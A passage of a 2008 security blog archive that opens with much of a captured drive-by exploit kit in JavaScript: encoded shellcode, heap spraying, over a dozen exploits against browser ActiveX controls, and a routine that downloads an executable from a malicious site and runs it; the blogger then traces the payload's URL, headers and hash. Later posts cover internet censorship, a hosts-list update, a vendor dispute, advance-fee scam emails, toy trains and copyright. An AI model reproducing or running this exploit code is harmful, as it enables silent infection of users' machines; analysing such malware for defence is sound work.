u785C%u4532%u785C%u3639%u785C%u4130%u785C%u3735%u785C%u3730%u785C%u3932%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u4246%u785C%u4641%u785C%u4636%u785C%u3744%u785C%u4332%u785C%u4139%u785C%u3531%u785C%u3636%u785C%u4141%u785C%u3746%u785C%u3630%u785C%u3845%u785C%u4545%u785C%u4645%u785C%u4645%u785C%u3142%u785C%u3636%u785C%u4139%u785C%u4243%u785C%u3436%u785C%u4141%u785C%u4245%u785C%u3538%u785C%u4545%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3942%u785C%u3730%u785C%u3436%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4642%u785C%u3738%u785C%u3944%u785C%u3546%u785C%u3043%u785C%u4639%u785C%u3730%u785C%u3837%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u3346%u785C%u3436%u785C%u4132%u785C%u4336%u785C%u4632%u785C%u4642%u785C%u3636%u785C%u4141%u785C%u4643%u785C%u3738%u785C%u3031%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4642%u785C%u3436%u785C%u4141%u785C%u4246%u785C%u3538%u785C%u4445%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4538%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4345%u785C%u4141%u785C%u4643%u785C%u3832%u785C%u4645%u785C%u3342%u785C%u3139%u785C%u3143%u785C%u4138%u785C%u3832%u785C%u4641%u785C%u4245%u785C%u3739%u785C%u4138%u785C%u4645%u785C%u4645%u785C%u3031%u785C%u4139%u785C%u4643%u785C%u3436%u785C%u4141%u785C%u3345%u785C%u3538%u785C%u4545%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4641%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3538%u785C%u3845%u785C%u3742%u785C%u4345%u785C%u4141%u785C%u4243%u785C%u4344%u785C%u3433%u785C%u4342%u785C%u4342%u785C%u3031%u785C%u4139%u785C%u4643%u785C%u4642%u785C%u4342%u785C%u3436%u785C%u4141%u785C%u3346%u785C%u3538%u785C%u4145%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4343%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3538%u785C%u4645%u785C%u3031%u785C%u4139%u785C%u4643%u785C%u3436%u785C%u4141%u785C%u3745%u785C%u3538%u785C%u4445%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4646%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3538%u785C%u3031%u785C%u3436%u785C%u4141%u785C%u4646%u785C%u3538%u785C%u4545%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4541%u785C%u3442%u785C%u4442%u785C%u4345%u785C%u4530%u785C%u4345%u785C%u4530%u785C%u4345%u785C%u4530%u785C%u4345%u785C%u4530%u785C%u4336%u785C%u3330%u785C%u4245%u785C%u3542%u785C%u4342%u785C%u3436%u785C%u3533%u785C%u4430%u785C%u3831%u785C%u4442%u785C%u3031%u785C%u4630%u785C%u4142%u785C%u3436%u785C%u3330%u785C%u3436%u785C%u3239%u785C%u3745%u785C%u3436%u785C%u3242%u785C%u3345%u785C%u3942%u785C%u3436%u785C%u4339%u785C%u3344%u785C%u3436%u785C%u4239%u785C%u3146%u785C%u3739%u785C%u4345%u785C%u4331%u785C%u3942%u785C%u3436%u785C%u3939%u785C%u4643%u785C%u4345%u785C%u4331%u785C%u4344%u785C%u3632%u785C%u3641%u785C%u4541%u785C%u3234%u785C%u4345%u785C%u4332%u785C%u3942%u785C%u4344%u785C%u3931%u785C%u3045%u785C%u3135%u785C%u4646%u785C%u3544%u785C%u4431%u785C%u4239%u785C%u3745%u785C%u4532%u785C%u3132%u785C%u3245%u785C%u4345%u785C%u4431%u785C%u4641%u785C%u3430%u785C%u4531%u785C%u3444%u785C%u3131%u785C%u3142%u785C%u4139%u785C%u4130%u785C%u3542%u785C%u3436%u785C%u3430%u785C%u3436%u785C%u3542%u785C%u4243%u785C%u4345%u785C%u3233%u785C%u3938%u785C%u3436%u785C%u3345%u785C%u3441%u785C%u3436%u785C%u3542%u785C%u3346%u785C%u4345%u785C%u3233%u785C%u3436%u785C%u4245%u785C%u3436%u785C%u4345%u785C%u4132%u785C%u3142%u785C%u3242%u785C%u4432%u785C%u3745%u785C%u4645%u785C%u3730%u785C%u4231%u785C%u3131%u785C%u3031%u785C%u3031%u785C%u4142%u785C%u4442%u785C%u3341%u785C%u3241%u785C%u3041%u785C%u3141%u785C%u4645%u7468%u7074%u2F3A%u772F%u7777%u732E%u7865%u2D79%u6563%u656C%u2D62%u6870%u746F%u736F%u632E%u6D6F%u692F%u616D%u6567%u3273%u6C2F%u616F%u2E64%u6870%u0070');
CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
hav();
return(1);
}
function cobj(obj){
var ret=null;
if(obj.substring(0,1)=='{'){
try{
var clsid=obj.substring(1,obj.length-1);
ret=document.createElement('object');
ret.setAttribute('classid','clsid:'+clsid);
return ret;
}catch(e){
return null;
}
}else{
try{
ret=new ActiveXObject(obj);
return ret;
}catch(e){
return null;
}
}
}
function CreateO(o,n){
var r=null;
try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,'')}catch(e){}}
if(!r){try{r=o.CreateObject(n,'','')}catch(e){}}
if(!r){try{r=o.GetObject('',n)}catch(e){}}
if(!r){try{r=o.GetObject(n,'')}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return(r);
}
function Go(a){
var eurl=url;
var fname='winzw4MQCMz4l.exe';
var fso=CreateO(a,'Scripting.FileSystemObject')
var sap=CreateO(a,'Shell.Application');
var x=CreateO(a,'ADODB.Stream');
var nl=null;
fname=fso.BuildPath(fso.GetSpecialFolder(2),fname);
x.Mode=3;
try{nl=CreateO(a,'Micr'+'osoft.XMLH'+'TTP');nl.open('GET',eurl,false);}
catch(e){try{nl=CreateO(a,'MSXML2.XMLHTTP');nl.open('GET',eurl,false);}
catch(e){try{nl=CreateO(a,'MSXML2.ServerXMLHTTP');nl.open('GET',eurl,false);}
catch(e){try{nl=new XMLHttpRequest();nl.open('GET',eurl,false);}
catch(e){return 0;}}}}
x.Type=1;
nl.send(null);
rb=nl.responseBody;
x.Open();
x.Write(rb);
x.SaveTofile(fname,2);
sap.ShellExecute(fname);
return 1;
}
function mdac() {
var i=0;
var target=new Array(
'BD96C556-65A3-11D0-983A-00C04FC29E36',
'BD96C556-65A3-11D0-983A-00C04FC29E30',
'AB9BCEDD-EC7E-47E1-9322-D4A210617116',
'0006F033-0000-0000-C000-000000000046',
'0006F03A-0000-0000-C000-000000000046',
'6e32070a-766d-4ee6-879c-dc1fa91d2fc3',
'6414512B-B978-451D-A0D8-FCFDF33E833C',
'7F5B7F63-F06F-4331-8A26-339E03C0AE3D',
'06723E09-F4C2-43c8-8358-09FCD1DB0766',
'639F725F-1B2D-4831-A9FD-874847682010',
'BA018599-1DB3-44f9-83B4-461454C84BF8',
'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19',
'E8CCCDDF-CA28-496b-B050-6C07C962476B',null);
while(target[i]){
var a=null;
a=document.createElement('object');
a.setAttribute('classid','clsid:'+target[i]);
if(a){try{var b=CreateO(a,'Shell.Application');if(b){Go(a);}}catch(e){}}
i++;
}
return 0;
}
function wfi() {
try{
obj=cobj('WebViewFolderIcon.WebViewFolderIcon.1');
if(obj){
ms();
for(var i=0;i<128;i++){
var wvfio=new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
try{wvfio.setSlice(0x7ffffffe,0,0,202116108);}catch(e){}
var wvfit=new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
}
}
}catch(e){}
return 0;
}
function com() {
try{
obj=cobj('{EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F}');
if(obj){
ms();
z=Math.ceil(0x0c0c0c0c);
z=document.scripts[0].createControlRange().length;
}
}catch(e){}
return 0;
}
function ya1(){
try {
var obj=null;
obj=cobj('{DCE2F8B1-A520-11D4-8FD0-00D0B7730277}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 5000) buf += buf;
buf = buf.substring(0,5000);
obj.server = buf;
obj.initialize();
obj.send();
}
} catch(e){}
return 0;
}
function ya2(){
try {
var obj=null;
obj=cobj('{9D39223E-AE8E-11D4-8FD3-00D0B7730277}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 5000) buf += buf;
buf = buf.substring(0,5000);
obj.server = buf;
obj.receive();
}
} catch(e){}
return 0;
}
function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
function mdss(){
try {
var obj=null;
obj=cobj('{EEE78591-FE22-11D0-8BEF-0060081841DE}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
for (i=1;i<=9999;i++)
buf += buf;
EngineID='default';
MfgName='default';
ProductName='default';
ModeID='default';
ModeName=buf;
LanguageID=1;
Dialect='default';
Speaker='default';
Style=1;
Gender=1;
Age=1;
Features=1;
Interfaces=1;
EngineFeatures=1;
RankEngineID=1;
RankMfgName=1;
RankProductName=1;
RankModeID=1;
RankModeName=1;
RankLanguage=1;
RankDialect=1;
RankSpeaker=1;
RankStyle=1;
RankGender=1;
RankAge=1;
RankFeatures=1;
RankInterfaces=1;
RankEngineFeatures=1;
obj.FindEngine(EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures);
}
} catch(e){}
return 0;
}
function office(){
var dir=new Array(
'C:\Documents and Settings\All Users\Start Menu\Programs\StartUp\office.exe',
'C:\Documents and Settings\All Users\Menu Iniciar\Programas\Iniciar\office.exe',
'C:\Documents and Settings\All Users\Menu Inicio\Programas\Inicio\office.exe',
'C:\Documents and Settings\All Users\Kuynnistu-valikko\Ohjelmat\Kuynnistys\office.exe',
'C:\Documents and Settings\All Users\Menu Dumarrer\Programmes\Dumarrage\office.exe',
'C:\Documents and Settings\All Users\Menuen Start\Programmer\Start\office.exe',
'C:\Documents and Settings\All Users\Menu Start\Programma\'s\Opstarten\office.exe',
'C:\Documents and Settings\All Users\Start Menu\Programlar\BASLANGI\office.exe',
'C:\Documents and Settings\All Users\Menu Start\Programy\Autostart\office.exe',
'C:\Documents and Settings\All Users\Start-meny\Programmer\Oppstart\office.exe',
'C:\Documents and Settings\All Users\Start-menyn\Program\Autostart\office.exe',
'C:\Documents and Settings\All Users\Menu Avvio\Programmi\Esecuzione automatica\office.exe',
'C:\Dokumente und Einstellungen\All Users\Startmenu\Programme\Autostart\office.exe');
var obj=null;
obj=cobj('snpvw.Snapshot Viewer Control.1');
if (obj){
for(j=0;j<dir.length;j++){
try{
obj.Zoom = 0;
obj.ShowNavigationButtons = false;
obj.AllowContextMenu = false;
obj.SnapshotPath = url+'&opr=1';
obj.CompressedPath = dir[j];
obj.PrintSnapshot();
}catch(e){}
}
}
return 0;
}
function dl(){
try{
var obj=null;
obj=cobj('Downloader.DLoader.1');
if (obj){
obj.DownloadAndInstall(url);
}
}catch(e){}
return 0;
}
function wks(){
try{
var obj=null;
obj=cobj('{00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6}');
if(obj){
ms();
var num = 202116108;
obj.WksPictureInterface = num;
}
}catch(e){}
return 0;
}
function ogame(){
try{
var obj=null;
obj=cobj('{F917534D-535B-416B-8E8F-0C04756C31A8}');
if(obj){
ms();
var buf = '';
while (buf.length < 600) buf += '';
obj.IEStartNative(buf);
}
}catch(e){}
return 0;
}
function ca(){
try{
var obj=null;
obj=cobj('{BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3}');
if (obj.AddColumn) {
ms();
var buf = addr(0x0c0c0c0c);
while(buf.length < 128)buf += buf;
buf = buf.substring(0, 128);
obj.AddColumn(buf,1);
}
}catch(e){}
return 0;
}
function buddy(){
try {
var obj=null;
obj = cobj('Sb.SuperBuddy');
if (obj) {
ms();
obj.LinkSBIcons(0x0c0c0c0c);
}
} catch(e){}
return 0;
}
function gomweb(){
try {
var obj=null;
obj = cobj('GomWebCtrl.GomManager.1');
if (obj) {
ms();
var buf='AAAA';
while (buf.length < 506) buf += buf;
buf = buf.substring(0,506);
buf += addr(0x0c0c0c0c);
obj.OpenURL(buf);
}
} catch(e){}
return 0;
}
function xmlcore(){
try {
var xml = null;
var xml = cobj('Msxml2.XMLHTTP.6.0');
if (xml){
xml = cobj('Msxml2.XMLHTTP.4.0');
}
if(!xml)return 0;
var obj=null;
obj = cobj('{88d969c5-f192-11d4-a65f-0040963251e5}');
obj = obj.object
if(obj) {
ms();
try {obj.open(new Array(),new Array(),new Array(),new Array(),new Array());} catch(e) {};
obj.open(new Object(),new Object(),new Object(),new Object(),new Object());
obj.setRequestHeader(new Object(),'...');
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
}
} catch(e){}
return 0;
}
function quick(){
try {
var obj=null;
obj = cobj('QuickTime.QuickTime.4');
if (obj) {
ms();
var buf = '';
for(var i=0;i<200;i++) {
buf += 'AAAA';
}
buf += 'AAA';
for(var i=0;i<3;i++)buf += '';
var my_div = document.createElement('div');
my_div.innerHTML =
'<object classid=\'clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\' width=\'200\' height=\'200\'>' +
'<param name=\'src\' value=\'object_rtsp\'>' +
'<param name=\'type\' value=\'image/x-quicktime\'>' +
'<param name=\'autoplay\' value=\'true\'>' +
'<param name=\'qtnext1\' value=\'<rtsp://BBBB:'+buf+'>T<myself>\'>' +
'<param name=\'target\' value=\'myself\'>' +
'</object>';
document.body.appendChild(my_div);
}
} catch(e) {}
return 0;
}
function real(){
try {
var obj=null;
obj = cobj('IERPCtl.IERPCtl.1');
if (obj) {
if(obj.PlayerProperty('PRODUCTVERSION')>'6.0.14.552') {
obj = cobj('{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}');
ms();
var m = '';
var buf = addr(0x0c0c0c0c);
while (buf.length < 32) buf += buf;
buf = buf.substring(0,32);
m = obj.Console;
obj.Console = buf;
obj.Console = m;
m = obj.Console;
obj.Console = buf;
obj.Console = m;
}
}
} catch(e){}
return 0;
}
function ntaudio(){
try{
var obj=null;
obj=cobj('{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 5200) buf += buf;
buf = buf.substring(0,5200);
obj.SetFormatLikeSample(buf);
}
}catch(e){}
return 0;
}
function creative(){
try{
var obj=null;
obj=cobj('{0A5FD7C5-A45C-49FC-ADB5-9952547D5715}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 512) buf += buf;
buf = buf.substring(0,512);
obj.cachefolder = buf;
}
}catch(e){}
return 0;
}
function wme(){
try {
var obj=null;
obj=cobj('{A8D3AD02-7508-4004-B2E9-AD33F087F43C}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 2000) buf += buf;
buf = buf.substring(0,2000);
obj.GetDetailsString(buf,1);
}
} catch(e){}
return 0;
}
if (
office() ||
mdac() ||
dl() ||
wme() ||
wfi() ||
com() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
) {}


Now we see the payload coming from;

sexy-celeb-photos.com/images2/load.php

Looking at the headers for this shows;

HTTP/1.1 200 OK
Date: Fri, 26 Dec 2008 08:47:43 GMT
Server: Apache/1.3.37 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.4.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
X-Powered-By: PHP/4.4.4
Accept-Ranges: bytes
Content-Length: 39424
Content-Disposition: inline; filename=win32sys.exe
Connection: close
Content-Type: application/octet-stream


Which shows us the real URL to the payload is;

sexy-celeb-photos.com/images2/win32sys.exe

This is a 35K executable, with an MD5 of: 85EF9776F91176CA7BC8B06FAE2193B3

Detection is not surprisingly rubbish;

http://www.virustotal.com/analisis/4399537fa4041e02b986cc86e7487478

References:

vURL Online - Results for sexy-celeb-photos.com
http://vurl.mysteryfcm.co.uk/?url=150405

vURL Online - Results for /images2/index.php
http://vurl.mysteryfcm.co.uk/?url=151020

Thursday 25 December 2008

Happy holidays folks!

Just a quick note to wish you all a happy Christmas and new year!

Tuesday 23 December 2008

Internet Censorship

This may sound a bit strange coming from the person that runs the hpHosts blacklist, but I've never been a fan of either government controlled or ISP controlled, blacklists. Mainly because the user has no choice whether or not to follow such.

Yes we've got the IWF, and yes, I DO actually appreciate and support the work they do, but recent revelations have shown that even they aren't immune from stupid decisions that result in innocent sites being blacklisted, and I dare say, not even I am immune. Occasionally even I make a stupid mistake that results in an innocent site being blacklisted.

The difference is, with hpHosts, the user has a choice. They can just edit the file and disable the block, and/or get in touch with me and it'll usually be removed within 48 hours (depending on where I am at the time).

The government controlled blacklist that is in force in Australia, is absolutely useless, draconian and unworkable (and I dare say, is worse than the Chinese government filter). The only choice the user has here, is to use a proxy system such as Tor, to bypass the filter, which then leaves them with the decision of whether or not to break the law and risk being arrested.

Speaking of wilful acts of abject stupidity.

A six-month trial of Australia’s government-mandated Internet filters is to begin on Christmas Eve (while everyone’s attention is elsewhere?). And if you think this story is relevant only to Australia, think again.

If there’s one thing that assorted politicians, bureaucrats, dictators, warlords and mandarins from every corner of the planet have always lusted after, it’s the ability to control access to information. So if your localitiy isn’t already subject to a similar impost it soon could be.


Read the full story
http://computerandonlinesecurity.com/censorship/internet-censorship/

Monday 22 December 2008

Malware Advisor: TeMerc Joins Malwarebytes Anti-Malware Team!!!

I'm happy to announce, my good friend TeMerc, is now employed by Malwarebytes! :o)

Malware Advisor: TeMerc Joins Malwarebytes Anti-Malware Team!!!

Sunday 21 December 2008

hpHosts: The not so fun aspect

I recently had a run in with Johns Creek Software, who via Sami (Web of Trust), informed me they were not best pleased (to put it politely) that their sites had been classified as fraudulent. The sites in question are;

nortons.com
nortons2009antivirus.com
nortonsantivirus2009.com
nortonantivirusdefinition.com

Unfortunately, all efforts to prove otherwise, had not gone so well. Johns Creek Software did not reference anything on their site, other than a claim of being a partner (something we all know is a very easy claim to make), and Symantecs partner website did not list them. So in a last ditch effort, Sami fired off an e-mail to Symantec, as did I, and I followed up with several phone calls.

The last contact I had, was with Symantec's online chat, who advised that I give them a call instead. This did indeed go well - but also proved that someone in Symantec US is clearly not talking to the UK office.

The reason for this? I spoke to Ravi Boojary at Symantec (UK, +44 (0)20 7616 5813), and asked if Johns Creek Software were the registered partners that they claimed to be. His response was a resounding no, they weren't. Because of this, both myself and Sami responded to Johns Creek Software informing them of what Ravi had advised me. Little did I know, Sami was to receive a response 3 days later, from Lillibeth González (Symantec US), this time informing us that they ARE infact Symantec partners.

I do not know why Ravi told me otherwise, perhaps he's not got access to the US records? In which case, he should've told me such, but either way, this does not bode well, and certainly does not look good. I do not like being made to look like a liar, which in this case, is exactly what Ravi has done, and is something I'll be taking up with him, especially as this got a little too close to a law suit for my liking.

So whats the moral of this story? Quite simple really - the security companies with offices in different countries, need to get their damn stories straight, and need to start double checking with each other when they get queries (if this means things take a little longer, then fine - aslong as it'll allow prevention of confusion and in my case, extreme frustration).

Friday 19 December 2008

hpHOSTS - UPDATED December 20th, 2008

hpHOSTS - UPDATED December 20th, 2008

The hpHOSTS Hosts file has been updated. There is now a total of 54,644 listed hostsnames.

If you are NOT using the installer, please read the included Readme.txt file for installation instructions. Enjoy! :)
  1. Latest Updated: 20/12/2008 04:53
  2. Last Verified: 20/12/2008 04:00

Download hpHosts now!
http://hosts-file.net/?s=Download

Thursday 18 December 2008

Spambot Search Tool 0.10 - licence changed

When I create a new product, I typically include my standard licence/EULA in the package, and this occured when I modified and packaged the original spambot search tool created by Smurf Minions;

http://www.stopforumspam.com/forum/t37-Spambot-detector-%28with-this-API%29

I've now changed the licence for this, to the Creative Commons Attribution 2.0 licence;

http://creativecommons.org/licenses/by-sa/2.0/uk/

The version number is unchanged.

Online "live" example:
http://temerc.com/Check_Spammers/

Homepage:
http://support.it-mate.co.uk/?mode=Products&p=spambotsearchtool

419'ers: Now this is just lazy!

I've seen more than my share of 419 scams over the years, some slightly convincing, most not convincing, and some looking more like a joke - but this is just lazyness. The entire e-mail content is simply;

You are a winner of £516,778:00 of the U.K Gaming Board. Contact, Mr.
clarkedavis email webdraws_150@hotmail.com pin code UKL/001/11234 and your reference number Ref:UK/9420X2/68,personal details


.. and received a little earlier;

GREETINGS
I am ROBERT WILLIAM. , an attorney at law. A deceased client of mine, that shares the same last name as yours, who here in after shall be referred to as my client, died as the result of a heart-related condition on March 12th 2005. His heart condition was due to the death of all the members of his family in the tsunami disaster on the 26th December 2004 in Sumatra Indonesia. http://en.wikipedia.org/wiki/2004_Indian_Ocean_earthquake i want you to recieve money on my behalf I can be reached on (robertwiliams555@hotmail.com ) for details.


Now contrast this to one more I got yesterday, which itself, didn't actually contain much actual content, but did come with a (strangely non infected) .doc file (ATTACHED IS YOUR LOTTERY WINNING INFORMATIONS.doc), which showed a little more professionalism (albeit not much more);


The original .doc if anyone wants a copy, is available at (usual password):

http://hosts-file.net/misc/419_advanced_fee_fraud/ATTACHED_IS_YOUR_LOTTERY_WINNING_INFORMATIONS.zip

Technical Report: "Learning More About the Underground Economy: A Case-Study of Keyloggers and Dropzones"

In the last few months, we analyzed quite a few malware samples that are related to stealing of banking credentials. These keyloggers are used by attackers to harvest sensitive information like credit cards numbers, username/password combinations and similar data from an infected machine. We developed some techniques to automatically find the dropzones, i.e., the server that is used by the bad guys to send the stolen information to.


Read and download the full report:
http://honeyblog.org/archives/8-Technical-Report-Learning-More-About-the-Underground-Economy-A-Case-Study-of-Keyloggers-and-Dropzones.html

/edited to add, there's an update;

http://honeyblog.org/archives/9-Banking-Trojans.html

Wednesday 17 December 2008

Hornby, James May ... and wonderful memories

I don't watch alot of TV lately as there's rarely anything on (other than Top Gear, snooker, and the comedy stuff on Dave), but I've just been watching James May's Top Toys on Dave, and he's brought back some fantastic memories, from my experiences with Scalextric to Meccano (and yep, I agree with him completely, the standards of this stuff has drastically gone down hill over the years).

My favourite part however, was when he got to the model trains. I absolutely loved these when I was younger, and still do today. Sadly, my collection of 00 Hornby trains, track etc, was nicked several years ago during a burglary (pity too, I not only had my own collection, but got my grandads collection when he passed away in the late 80's). 30 trains, ranging from the Flying Scotsman to the Mallard to the 125 and 225, all gone, along with over 700 metres of track, hundreds of carraiges and other rolling stock.

I've been dying to get the trainsets back ever since, and if it wasn't for the fact they cost a fortune, I would have . The older they are, the more they cost - and the brand new stuff is expensive as it is, with the cheapest one I've seen being £100+. What I did find rather funny (mainly because it's true) is that James mentioned the trains aren't played with by the younger folk anymore, but it's their dads and grandads that play with the trains. I've been asking myself why this is, and haven't come to a reason yet. Trains have always been fun to setup, play with and fix whenever they broke (indeed, I loved fixing the broken engines, track and such when they broke or got damaged).

I am slightly thankful that the trainsets got nicked (in a wierd twisted sense of course as I wish to christ I still had them), as if they hadn't, chances are I wouldn't be as much into computers as I am. Because my parents couldn't afford to replace them for me, I got into playing with the Commodore, and from that, into the Atari, and then onto the BBC's we had at school. The rest is history.

I am aware of the virtual trains, and found out about them a few years ago. Alas I've never been able to "get into them" as it were. They don't quite thrill me as much as the "real" Hornby stuff did.

If you are into trainsets yourself, get your kids into them too if they aren't already. Get them away from the playstations, X-Boxes and the likes - there's nothing challenging about those. Infact, try getting them into the other older stuff too, such as Scalextric and Meccano (and not the newer versions of this stuff, but the originals), the amount of fun you can have playing with these is unbelievable (and will be something I'll be experiencing again myself as soon as I can afford the damn things).

References:


http://hornby.com

Scalextric
http://scalextric.com

Monday 15 December 2008

Saturday 13 December 2008

Can we leave the EU and change the idiots in charge of our country yet? Pretty please?

It's long been known that the EU, along with the idiots in charge of the UK, was a complete farce, and would only make things worse, and here we have yet more proof of such.

Actually, by framing the issue as a "moral case," Burnham gets to sidestep the entire issue of logic. Critics have already begun to charge that he is ignoring actual evidence and the well-regarded conclusions of the Gowers Report, not to mention previous government policy. But when the issue becomes a moral one and the livelihood of aging performers is at stake, it's suddenly easier to avoid cost/benefit analysis. Doing the right thing isn't always logical or economical.

The rather bitter irony here is that the move has been pushed largely by fabulously wealthy musicians and the music industry. In July 2007, when the government said that 50 years of copyright on songs was plenty of time to cash in, the head of the international music trade group IFPI warned, "Some of the greatest works of British music will soon be taken away from the artists who performed them and the companies that invested in them. Extending copyright term would promote vital investment in young talent and new music, all of which will help to secure the UK's future as an exciting music market."


Read the full story:
http://arstechnica.com/news.ars/post/20081212-uk-ignores-logic-backs-20-year-music-copyright-extension.html